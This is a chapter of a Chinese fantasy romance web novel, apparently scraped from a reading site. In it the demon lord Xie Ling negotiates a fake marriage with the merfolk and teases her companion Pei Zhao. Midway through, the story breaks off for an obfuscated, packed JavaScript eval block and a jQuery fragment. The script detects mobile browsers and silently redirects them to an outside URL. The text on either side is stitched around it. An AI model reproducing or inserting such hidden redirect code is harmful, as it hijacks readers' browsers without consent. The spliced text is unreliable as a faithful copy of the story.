气氛凝滞如冰。
谢泠一双眼睛扫过殿内众人,指尖酒杯“咔”地裂开一道细纹,透明的酒液顺着她的手腕蜿蜒而下,她缓缓抬眸,语气轻佻又不屑:“老族长,年纪大了容易说胡话,我可以当没听见。”
老族长布满皱纹的脸上仍旧挂着那副慈祥的笑容:“魔尊喜怒,老朽的意思是,鲛人族愿以皇妃之位相迎,共享鲛皇传承。”
话音未落,裴昭手中的玉箸寸寸断裂,他盯着老族长那看似慈祥的脸,忽然笑了:“你们鲛人族也配?”
“鲛人族虽然讲求一生一世一双人,但魔尊身份特殊,若是想在魔族另设家室,我们也不会多加阻拦。”老族长老神在在,捋了捋自己发白的胡须。
他自认为自己提出的条件很丰厚。
鲛皇传承必须握在他们鲛人的手中,谢泠身份特殊,但他们提出的条件也不算差,海默是他们鲛人族的圣子,再加上鲛人族的传承,谢泠难道不是稳赚不赔,白捡了一个天大的便宜吗?
老族长算盘打得啪啪响。
谢泠如何看不出这老族长的意图,大约是他们鲛人族偏安一隅时间长了,耐不得寂寞,却说的如此冠冕堂皇。
海默站在一旁,脸上闪过一丝不自然,但很快就恢复了温润如玉的模样:“只要魔族答应联姻,你……想要什么,我们都可以给。”
老族长瞪了海默一眼,急忙补充道:“鲛皇传承……”
“我要整个南海。”谢泠直接打断,声音不大,却如惊雷炸响。
殿内瞬间安静得可怕。
“魔尊是不是口气太大了。”老族长脸色骤变,气得瞪直眼睛,“我族是真心与魔尊交好。”
“我也是真心与你们交好。”谢泠勾唇一笑。
一直安静的海默突然道:“不如我们各退一步。”
“我们只要鲛皇传承,”海默上前半步,“我们假成婚,骗过鲛皇殿。”
“什么意思?”谢泠漫不经心,一副不想再谈的样子。
海默垂下眼眸:“进入鲛皇殿需鲛人血脉,你只有与我成婚,获得了鲛人族的认可,才能进入鲛皇殿。”
“这和你一开始说的可不一样。”谢泠语气随意,但周身魔气缓缓溢出,暗处的鲛人悄悄戒备起来。
突然,谢泠卸下周身气力,换了个口风:“假成婚,倒也不是不成。”
海默眸子发亮。
“我的条件不变,我要南海……”
“绝不可能!”
谢泠大喘气,接着说道,“南珠。”
南珠是疗伤之药,对修真者修复心魔灼伤有奇效,但这东西百年才结一丹。
不过有了先前夸口的整个南海,如今仅仅要一个南珠,倒是显得没那么离谱了。
老族长面色稍缓,但还有些犹豫:“南珠乃我族至宝,魔尊开口便要,未免有……”
谢泠指尖轻敲桌面,打断他的话:“老族长,你们这是什么都不想付出,只想着捞好处啊?”
这话有些难听,殿内气氛骤然紧绷,暗处的鲛人护卫再次拿起武器,一触即发。
裴昭冷笑一声,虚空中攥起自己的长剑,剑身萦绕这森然剑气:“想动手?”
海默抬手,示意众人冷静,温声道:“魔尊说笑了,南珠虽然珍贵,但若能换得两族的和平,自然值得,但……”
“成婚之事我可以答应。”谢泠知道他们想要什么。
海默面露喜色,没再犹豫:“如此便好,三日后便是良辰吉日,还需魔尊暂留鲛人宫,准备大婚事宜。”
裴昭突然开口:“慢着,”他目光锐利地看向海默:“‘假’成婚可以,但不得有任何肢体接触,不得私下相处,成婚之后立刻进入鲛皇塚。”
海默脸色一僵,还未开口,老族长便怒道:“裴公子,你管得未免太宽了,成婚之事即便是假的,也不是儿戏,就该做足了样子,否则如何骗过鲛皇塚的禁制。”
裴昭梗起脖子,还想说什么,就见谢泠拦住了他的身影,冲着他摇了摇头:“裴昭的意思便是我的意思,若不同意,这样子也不必做给鲛皇塚看。”
海默深吸一口气,勉强笑道:“好,就依你所言。”
话音一落,二人便被鲛人引着离去,殿内顿时只剩下海默和族长二人。
老族长皱起眉头,指着海默的脑袋,恨铁不成钢:“我看你就是被那个妖女迷去了心智,成婚岂是儿戏,你分明没见过她,怎么跟海月一个德行上了,你们兄弟俩真是……”
海默沉默下来,良久才道:“我们想要先云烨熠一步拿到鲛皇传承,只能出次下策。”
“不一定需要假成婚,海默,这是你的私心,若是不成……”
“族长不是也觉得我们鲛人偏安一隅太久了,想去魔界耍耍威风吗?你想从她身上捞好处才答应了这一出戏不是吗?”
老族长哽住,海默背对着老族长,望着外面谢泠和裴昭的身影:“我们的目的是一样的,”他昂起头,“鲛人族的地界,从来未有假成婚的说法。”
老族长张了张嘴,喃喃:“你……你可不要带着鲛人族陪葬才是。”
另一边,谢泠和裴昭已经被引入了鲛人宫殿准备好的房间。
二人本并未宿在一处,谢泠径直进了裴昭的房间,此刻直接靠在了他房间内的珊瑚软塌上,神色慵懒,指尖把.玩着一颗贝珠。
“你说,鲛人族为何非要与我成婚。”
她话还未落,裴昭从她身侧将她手中的珠子一把拿走,沉默不语地坐在旁边,他低垂着头,双唇紧抿,一副生闷气的模样。
谢泠挑眉,探出身子,看他的眼睛:“吃醋了?”
裴昭斜睨她一眼,眼底暗潮涌动,面上却极为平静:“不敢。”
“哦,不敢,并非不是,也非不能,那就是吃了。”谢泠笃定。
裴昭咬唇,一双眼睛猛地瞪向她,攥住她扣住自己腰带的手,声音沙哑道:“你明知鲛人族居心叵测,为何还要……”
“敢质问我,看来是听到那句话了。”谢泠突然转移话题,提前跃海之前的事。
裴昭耳尖连带着脖颈一下子红透。
是那句“我亦是?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15409762|164142||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他张了张口,想要问却不知从何而问。
谢泠望着他这副踌躇的样子,心下觉得好笑,又觉得还好这厮是裴霁,若是裴昭反倒麻烦。
她可以肆无忌惮地表达对裴霁的欢喜,无非是因为裴霁是心魔,对自己并无威胁,但裴昭不同。
若是裴昭……
谢泠心中复杂,陷入情绪之中。
突然,额头微热,他的指尖覆在眉头之上轻轻按压:“想什么呢?眉头都皱成小山了。”
谢泠按住他的手:“没什么。”
屋外突然传来敲门声,海默出声道:“尊者,可有时间?我们谈谈?”
谢泠起身,正欲出门,被裴昭拉住了手腕,眸间如一汪深潭,紧紧地将谢泠困在其中,她无奈一笑,起身轻吻他的额头,“好了,要去说正事。”
香气掠过,还未抓住就已消散。
谢泠指尖魔气微微闪动,房门“砰”一声打开,海默正站在门口,不等他定睛看去,谢泠已然站在门前,将房门关了个彻底。
他换了一身月牙白衣裳,衬得人十分温润,只是眼底藏着难以察觉的暗涌。
“你倒是好兴致。”谢泠靠在门边,手里攥着的分明是裴昭的配在身上的小吊坠。
海默看着那吊坠,笑容微僵,却还是强打起精神:“尊者要在这同我说话?婚期将近,还有些细节需要商议……”
“你们和云烨熠达成的条件是什么?”谢泠单刀直入。
海默瞳孔骤然收缩,脸色微僵:“何出此言。”
“罢了,你说。”谢泠抱臂,好整以暇地看着他。
海默抬手,想要扣住谢泠的手腕,只是还未靠近,就被那吊坠上的剑气逼退。
他虎口发麻,他眼神不善地望着那吊坠,似乎在透过它看裴昭,继而突然抬眸,认真道:“我心悦你,阿泠,我不想假成婚。”
“心悦我?”谢泠笑出声,“心悦我的人多了,你那个哥哥海月,也说过这样的话。”
“他接近你不过是因为你救过他,根本不是爱情,只是感激。”
“但你不一样?你因为哥哥喜欢,所以弟弟也要有?”谢泠直接接上他的话,“我们之前几乎从未见过,谈喜欢?未免有些太肤浅。”
海默脸色僵硬,谢泠话锋一转,“还是说你喜欢的是我这副皮囊,想做我的魔侍?”
隔着一道门,屋内突然穿来叮呤咣啷的响声。
海默咬紧牙关:“我倒是不介意。”
“但有人介意。”谢泠收起逗弄人的样子,正色道:“海默,鲛皇塚,云烨熠,鲛人族,孰轻孰重希望你分得清,不要跟你那个去了天刑司的哥哥一样,他尚且能在那厢反省,但你可不一定。”
话中威胁的意味十足,海默眼神中的希冀彻底湮灭,不再言语转身就走,像是失望至极。
谢泠望着他的背影,眸子中难得带了些忧虑:“若他真的能听进去也算是好事。”
话还未落,身后突然一松,她落入一个暖意熟悉的怀抱中,耳畔声音低沉,带这些咬牙切齿:“你倒是为他着想。”